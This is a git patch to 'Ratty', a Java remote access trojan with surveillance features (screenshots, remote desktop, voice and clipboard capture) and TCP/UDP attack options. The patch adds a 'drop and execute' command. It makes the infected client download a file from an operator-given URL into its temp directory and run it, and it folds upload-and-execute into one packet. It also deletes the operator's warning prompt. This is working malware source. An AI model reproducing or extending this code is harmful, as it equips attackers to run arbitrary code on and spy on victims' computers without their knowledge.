From f5116a5f5dd5353216526ea89ab6fdb53a8f7487 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 18 Mar 2016 23:11:59 +0100 Subject: [PATCH] Major changes Cleanups Icon changes Refactorings Translations --- Ratty/res/gui_menu_icons.png | Bin 816 -> 907 bytes Ratty/res/language/lang.properties | 3 +- Ratty/res/language/lang_de.properties | 3 +- Ratty/res/language/lang_en.properties | 3 +- Ratty/res/language/lang_es.properties | 5 ++ Ratty/src/de/sogomn/rat/Ratty.java | 2 +- .../sogomn/rat/packet/DownloadUrlPacket.java | 24 +++++- .../sogomn/rat/packet/ExecuteFilePacket.java | 22 +---- .../sogomn/rat/packet/UploadFilePacket.java | 31 +++++-- .../de/sogomn/rat/server/gui/RattyGui.java | 18 ++-- .../rat/server/gui/RattyGuiController.java | 79 ++++++++++-------- 11 files changed, 112 insertions(+), 78 deletions(-) diff --git a/Ratty/res/gui_menu_icons.png b/Ratty/res/gui_menu_icons.png index 54224359957be9ea0f9e6c9e5f2f789b6c06a875..46ca4fa6bced8bd2644b553f605b4726d1f229da 100644 GIT binary patch delta 885 zcmV-*1B(2x28#!fBYy)@Nklslu=8>n4dhmu1-?sC@JEb4idsA75VPuowVUCV!Ei<+JsD>&)p{L;*Z} z{bLpsfP^s20!Uu``Q0Q{01RQM1!S{sSpX|U-(^bgeqPMd3ZSwC4r&4PyxneZ75#et zWR_zBC|f`_G z=_90{7zqG*9)A`EzP!7d<=LaV^MA`nj08|E+bgsb%wjkKAX@^xGQmaJqXdAYni{~X zZ}%Y401!obr1nt5it-Y`^N;sSG7>;@`<}F0&A8VFsM!imTjC?o8?hZO_mPD|3Spxl zXy+S+U34qH`*fa)2|y=5EDWGE{6w>dhF|0?LM#9M?SGv;NdaV5U|9mEofXj;T93mR zOL+}ZLMQ|9Ud{lxycK{Pq$j(p_YeS9KB^Ng0Z)+#fUJ{&7!3efA_uVm-S$vRpc#NS z>lF)VT>@y^)mp%soZvqRU=}&-9B3()VvT*1D=&=N(*=Nzg`njFw15B&sMpfl408yMrJ9P=SP)yqd<};L~$O;6J)5PG4ia3VNhE^=J+fCXq=Do1SHN!d4lfOO@zEjU~1BQ zqzOeoPpQOtFHhk0j^qil9s(b>M5ZNw$euBoPrt& zA<=MyRIhs7t7wsE5gif@O~e&~Y{{$1Fn>OK?M)OGX(W=ho&A10o*CQQb<Lw^9s=Vn0Nxa+RS6EN9w`K*)Z_qe zU-uy601zQHN_(hdj(7^->fe5rwFFSyzt)ef&4nxUpO(bypx0tKoIQq@4r2<-n6o)I z&x5a(cG0DHD7QTm0r27{SpuNtSgoICyg)(HFR~ZG#ecs&?5vmz!1Dsh6B2;bZYY4# z%@|2Mhe#o01JHh)djJAL0zhw4v*pbr1R#mG+L%*76JP<5gmZXf0YIimGY{B=DNqbR zd+LY>3E0ExqtVd6;2$0*QTp|GTVAd?Da*)ufM0ZEt?|g6qZ`t%mlWwO1Ir=zjII|K8TdW zCjkAfuHb_Gp{KV|A+!ts_s3{Xf23U%@ky)(LX5Ho1S(#N(&6~b5=X_yqqdd+_&&bm z5uz6;5G?Tsgi*z#0Hot7t;#|wGz~&i@hAWZLVwQrT<*R;h0s)d3jnq5>Bl<;tAnx;ewA{ZCGwTq$Ox*Yxn Y@e^>{&Ov2RkpKVy07*qoM6N<$g0?SZ4FCWD diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index f68fcea..4ec3402 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -11,8 +11,6 @@ server.cancel=Cancel server.tcp=TCP server.udp=UDP server.attack_message=Which protocol? -server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\ -Continue? server.url_message=Type in a URL. builder.address_question=Which address should the client connect to? @@ -44,6 +42,7 @@ action.delete=Delete file action.new_directory=Create new directory action.upload_execute=Upload and execute file action.drop_file=Drop file +action.drop_execute=Drop and execute file column.name=Name column.location=Location diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index d17e3c8..db776dd 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -11,8 +11,6 @@ server.cancel=Abbrechen server.tcp=TCP server.udp=UDP server.attack_message=Welches Protokoll? -server.upload_execute_warning=Die Datei wird in denselben Ordner wie die Clientdatei hochgeladen.\r\n\ -Fortfahren? server.url_message=Gib eine URL ein. builder.address_question=Mit welcher Adresse soll sich der Client verbinden? @@ -44,6 +42,7 @@ action.delete=Datei l action.new_directory=Neuen Ordner erstellen action.upload_execute=Datei hochladen und ausführen action.drop_file=Datei aus dem Internet laden +action.drop_execute=Datei aus dem Internet ausführen column.name=Name column.location=Ort diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index f68fcea..4ec3402 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -11,8 +11,6 @@ server.cancel=Cancel server.tcp=TCP server.udp=UDP server.attack_message=Which protocol? -server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\ -Continue? server.url_message=Type in a URL. builder.address_question=Which address should the client connect to? @@ -44,6 +42,7 @@ action.delete=Delete file action.new_directory=Create new directory action.upload_execute=Upload and execute file action.drop_file=Drop file +action.drop_execute=Drop and execute file column.name=Name column.location=Location diff --git a/Ratty/res/language/lang_es.properties b/Ratty/res/language/lang_es.properties index 69443be..ba20a75 100644 --- a/Ratty/res/language/lang_es.properties +++ b/Ratty/res/language/lang_es.properties @@ -13,6 +13,11 @@ builder.address_question= builder.port_question=¿Que puerto? builder.error=Algo a salido mal. +menu.file_management=Gestión de archivos +menu.surveillance=Vigilancia +menu.utility=Utilidades +menu.other=Otros + action.popup=Ventana emergente action.screenshot=Captura action.desktop=Escritorio remoto diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index c19ef97..03768e5 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.15"; + public static final String VERSION = "1.16"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; diff --git a/Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java b/Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java index 85af28a..686165b 100644 --- a/Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java @@ -14,6 +14,7 @@ import de.sogomn.rat.ActiveConnection; public final class DownloadUrlPacket implements IPacket { private String address, directoryPath; + private byte executeType; private static final String HTTP_PREFIX = "http://"; private static final String USER_AGENT = "User-Agent"; @@ -22,8 +23,11 @@ public final class DownloadUrlPacket implements IPacket { private static final String CONNECTION_VALUE = "close"; private static final String DEFAULT_NAME = "file"; private static final int BUFFER_SIZE = 1024; + private static final byte NO = 0; + private static final byte YES = 1; + private static final String TEMP_DIR = System.getProperty("java.io.tmpdir"); - public DownloadUrlPacket(final String address, final String directoryPath) { + public DownloadUrlPacket(final String address, final String directoryPath, final boolean execute) { this.directoryPath = directoryPath; final boolean hasPrefix = address.startsWith(HTTP_PREFIX); @@ -33,6 +37,12 @@ public final class DownloadUrlPacket implements IPacket { } else { this.address = HTTP_PREFIX + address; } + + executeType = execute ? YES : NO; + } + + public DownloadUrlPacket(final String address, final String directoryPath) { + this(address, directoryPath, false); } public DownloadUrlPacket() { @@ -51,6 +61,8 @@ public final class DownloadUrlPacket implements IPacket { } private DesktopFile readFile(final String address) throws IOException { + HttpURLConnection.setFollowRedirects(true); + final URL url = new URL(address); final HttpURLConnection con = (HttpURLConnection)url.openConnection(); @@ -89,12 +101,18 @@ public final class DownloadUrlPacket implements IPacket { public void send(final ActiveConnection connection) { connection.writeUTF(address); connection.writeUTF(directoryPath); + connection.writeByte(executeType); } @Override public void receive(final ActiveConnection connection) { address = connection.readUTF(); directoryPath = connection.readUTF(); + executeType = connection.readByte(); + + if (directoryPath.isEmpty()) { + directoryPath = TEMP_DIR; + } } @Override @@ -118,6 +136,10 @@ public final class DownloadUrlPacket implements IPacket { final DesktopFile file = readFile(address); file.write(directoryPath); + + if (executeType == YES) { + FileUtils.executeFile(directoryPath + File.separator + file.name); + } } catch (final NullPointerException ex) { //... } catch (final IOException ex) { diff --git a/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java b/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java index 98d6f10..3c6e7b1 100644 --- a/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java @@ -1,10 +1,6 @@ package de.sogomn.rat.packet; -import java.awt.Desktop; -import java.awt.Desktop.Action; -import java.io.File; -import java.io.IOException; - +import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.ActiveConnection; public final class ExecuteFilePacket implements IPacket { @@ -31,21 +27,7 @@ public final class ExecuteFilePacket implements IPacket { @Override public void execute(final ActiveConnection connection) { - final boolean desktopSupported = Desktop.isDesktopSupported(); - final File file = new File(path); - - if (desktopSupported && file.exists()) { - final Desktop desktop = Desktop.getDesktop(); - final boolean canOpen = desktop.isSupported(Action.OPEN); - - if (canOpen) { - try { - desktop.open(file); - } catch (final IOException ex) { - ex.printStackTrace(); - } - } - } + FileUtils.executeFile(path); } } diff --git a/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java index 8b981d0..3874fb4 100644 --- a/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java @@ -10,25 +10,38 @@ public final class UploadFilePacket implements IPacket { private byte[] data; private String directoryPath, fileName; + private byte executeType; - private static final String USER_DIR = "user.dir"; private static final String SEPARATOR_REGEX = "[\\\\\\/]"; private static final String SEPARATOR = "/"; + private static final byte NO = 0; + private static final byte YES = 1; + private static final String TEMP_DIR = System.getProperty("java.io.tmpdir"); - public UploadFilePacket(final String filePath, final String directoryPath) { + public UploadFilePacket(final String filePath, final String directoryPath, final boolean execute) { this.directoryPath = directoryPath.replaceAll(SEPARATOR_REGEX, SEPARATOR); final File file = new File(filePath); data = FileUtils.readExternalData(filePath); fileName = file.getName(); + executeType = execute ? YES : NO; + } + + public UploadFilePacket(final File file, final String folderPath, final boolean execute) { + this(file.getAbsolutePath(), folderPath, execute); + } + + public UploadFilePacket(final String filePath, final String directoryPath) { + this(filePath, directoryPath, false); } public UploadFilePacket(final File file, final String folderPath) { - this(file.getAbsolutePath(), folderPath); + this(file, folderPath, false); } public UploadFilePacket() { + data = new byte[0]; directoryPath = fileName = ""; } @@ -40,6 +53,7 @@ public final class UploadFilePacket implements IPacket { connection.write(compressed); connection.writeUTF(directoryPath); connection.writeUTF(fileName); + connection.writeByte(executeType); } @Override @@ -52,9 +66,10 @@ public final class UploadFilePacket implements IPacket { directoryPath = connection.readUTF(); fileName = connection.readUTF(); + executeType = connection.readByte(); if (directoryPath.isEmpty()) { - directoryPath = System.getProperty(USER_DIR); + directoryPath = TEMP_DIR; } } @@ -76,8 +91,14 @@ public final class UploadFilePacket implements IPacket { if (directoryPath != null) { final String path = directoryPath + File.separator + fileName; + final File file = new File(path); - FileUtils.writeData(path, data); + FileUtils.createFile(path); + FileUtils.writeData(file, data); + + if (executeType == YES) { + FileUtils.executeFile(file); + } } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 5b9d8ef..107a2ce 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -12,7 +12,7 @@ import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; import java.io.File; import java.util.Arrays; -import java.util.HashMap; +import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.Set; @@ -72,10 +72,10 @@ final class RattyGui extends AbstractListenerContainer { private static final String FILE_MANAGEMENT = LANGUAGE.getString("menu.file_management"); private static final String UTILITY = LANGUAGE.getString("menu.utility"); private static final String OTHER = LANGUAGE.getString("menu.other"); - private static final HashMap FILE_MANAGEMENT_ITEM_DATA = new HashMap(); - private static final HashMap SURVEILLANCE_ITEM_DATA = new HashMap(); - private static final HashMap UTILITY_ITEM_DATA = new HashMap(); - private static final HashMap OTHER_ITEM_DATA = new HashMap(); + private static final LinkedHashMap FILE_MANAGEMENT_ITEM_DATA = new LinkedHashMap(); + private static final LinkedHashMap SURVEILLANCE_ITEM_DATA = new LinkedHashMap(); + private static final LinkedHashMap UTILITY_ITEM_DATA = new LinkedHashMap(); + private static final LinkedHashMap OTHER_ITEM_DATA = new LinkedHashMap(); public static final String POPUP = LANGUAGE.getString("action.popup"); public static final String SCREENSHOT = LANGUAGE.getString("action.screenshot"); @@ -90,20 +90,22 @@ final class RattyGui extends AbstractListenerContainer { public static final String FREE = LANGUAGE.getString("action.free"); public static final String BUILD = LANGUAGE.getString("action.build"); public static final String ATTACK = LANGUAGE.getString("action.attack"); + public static final String DROP_EXECUTE = LANGUAGE.getString("action.drop_execute"); public static final List GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE); static { - FILE_MANAGEMENT_ITEM_DATA.put(FILES, MENU_ICONS[4]); - FILE_MANAGEMENT_ITEM_DATA.put(UPLOAD_EXECUTE, MENU_ICONS[9]); SURVEILLANCE_ITEM_DATA.put(SCREENSHOT, MENU_ICONS[1]); SURVEILLANCE_ITEM_DATA.put(DESKTOP, MENU_ICONS[2]); SURVEILLANCE_ITEM_DATA.put(VOICE, MENU_ICONS[3]); SURVEILLANCE_ITEM_DATA.put(CLIPBOARD, MENU_ICONS[6]); + FILE_MANAGEMENT_ITEM_DATA.put(FILES, MENU_ICONS[4]); + FILE_MANAGEMENT_ITEM_DATA.put(UPLOAD_EXECUTE, MENU_ICONS[9]); + FILE_MANAGEMENT_ITEM_DATA.put(DROP_EXECUTE, MENU_ICONS[11]); UTILITY_ITEM_DATA.put(POPUP, MENU_ICONS[0]); UTILITY_ITEM_DATA.put(COMMAND, MENU_ICONS[5]); - UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]); UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]); + UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]); OTHER_ITEM_DATA.put(FREE, MENU_ICONS[10]); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index f67712b..d7917ce 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -73,7 +73,6 @@ public final class RattyGuiController extends AbstractRattyController implements private static final String BUILDER_ERROR_MESSAGE = LANGUAGE.getString("builder.error"); private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question"); private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question"); - private static final String UPLOAD_EXECUTE_WARNING = LANGUAGE.getString("server.upload_execute_warning"); private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message"); private static final Sound PING = Sound.loadSound("/ping.wav"); @@ -198,6 +197,44 @@ public final class RattyGuiController extends AbstractRattyController implements return null; } + private DownloadUrlPacket createDownloadUrlPacket(final ServerClient client) { + final String address = gui.getInput(URL_MESSAGE); + + if (address != null) { + final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final String path = node.getPath(); + final DownloadUrlPacket packet = new DownloadUrlPacket(address, path); + + return packet; + } + + return null; + } + + private UploadFilePacket createUploadExecutePacket(final ServerClient client) { + final File file = gui.getFile(); + + if (file != null) { + final UploadFilePacket packet = new UploadFilePacket(file, "", true); + + return packet; + } + + return null; + } + + private DownloadUrlPacket createDropExecutePacket(final ServerClient client) { + final String address = gui.getInput(URL_MESSAGE); + + if (address != null) { + final DownloadUrlPacket packet = new DownloadUrlPacket(address, "", true); + + return packet; + } + + return null; + } + private void toggleDesktopStream(final ServerClient client) { final boolean streamingDesktop = client.isStreamingDesktop(); @@ -269,40 +306,6 @@ public final class RattyGuiController extends AbstractRattyController implements } } - private void uploadExecute(final ServerClient client) { - final boolean accepted = gui.showWarning(UPLOAD_EXECUTE_WARNING, OPTION_YES, OPTION_CANCEL); - - if (!accepted) { - return; - } - - final File file = gui.getFile(); - - if (file == null) { - return; - } - - final UploadFilePacket upload = new UploadFilePacket(file, ""); - final ExecuteFilePacket execute = new ExecuteFilePacket(file.getName()); - - client.connection.addPacket(upload); - client.connection.addPacket(execute); - } - - private DownloadUrlPacket createDownloadUrlPacket(final ServerClient client) { - final String address = gui.getInput(URL_MESSAGE); - - if (address != null) { - final FileTreeNode node = client.fileTree.getLastNodeClicked(); - final String path = node.getPath(); - final DownloadUrlPacket packet = new DownloadUrlPacket(address, path); - - return packet; - } - - return null; - } - private void handleCommand(final ServerClient client, final String command) { if (command == RattyGui.FILES) { client.fileTree.setVisible(true); @@ -318,8 +321,6 @@ public final class RattyGuiController extends AbstractRattyController implements startBuilder(); } else if (command == FileTree.REQUEST) { requestFile(client); - } else if (command == RattyGui.UPLOAD_EXECUTE) { - uploadExecute(client); } } @@ -354,6 +355,10 @@ public final class RattyGuiController extends AbstractRattyController implements packet = createFolderPacket(client); } else if (command == FileTree.DROP_FILE) { packet = createDownloadUrlPacket(client); + } else if (command == RattyGui.UPLOAD_EXECUTE) { + packet = createUploadExecutePacket(client); + } else if (command == RattyGui.DROP_EXECUTE) { + packet = createDropExecutePacket(client); } else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) { packet = client.displayPanel.getLastMouseEventPacket(); } else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {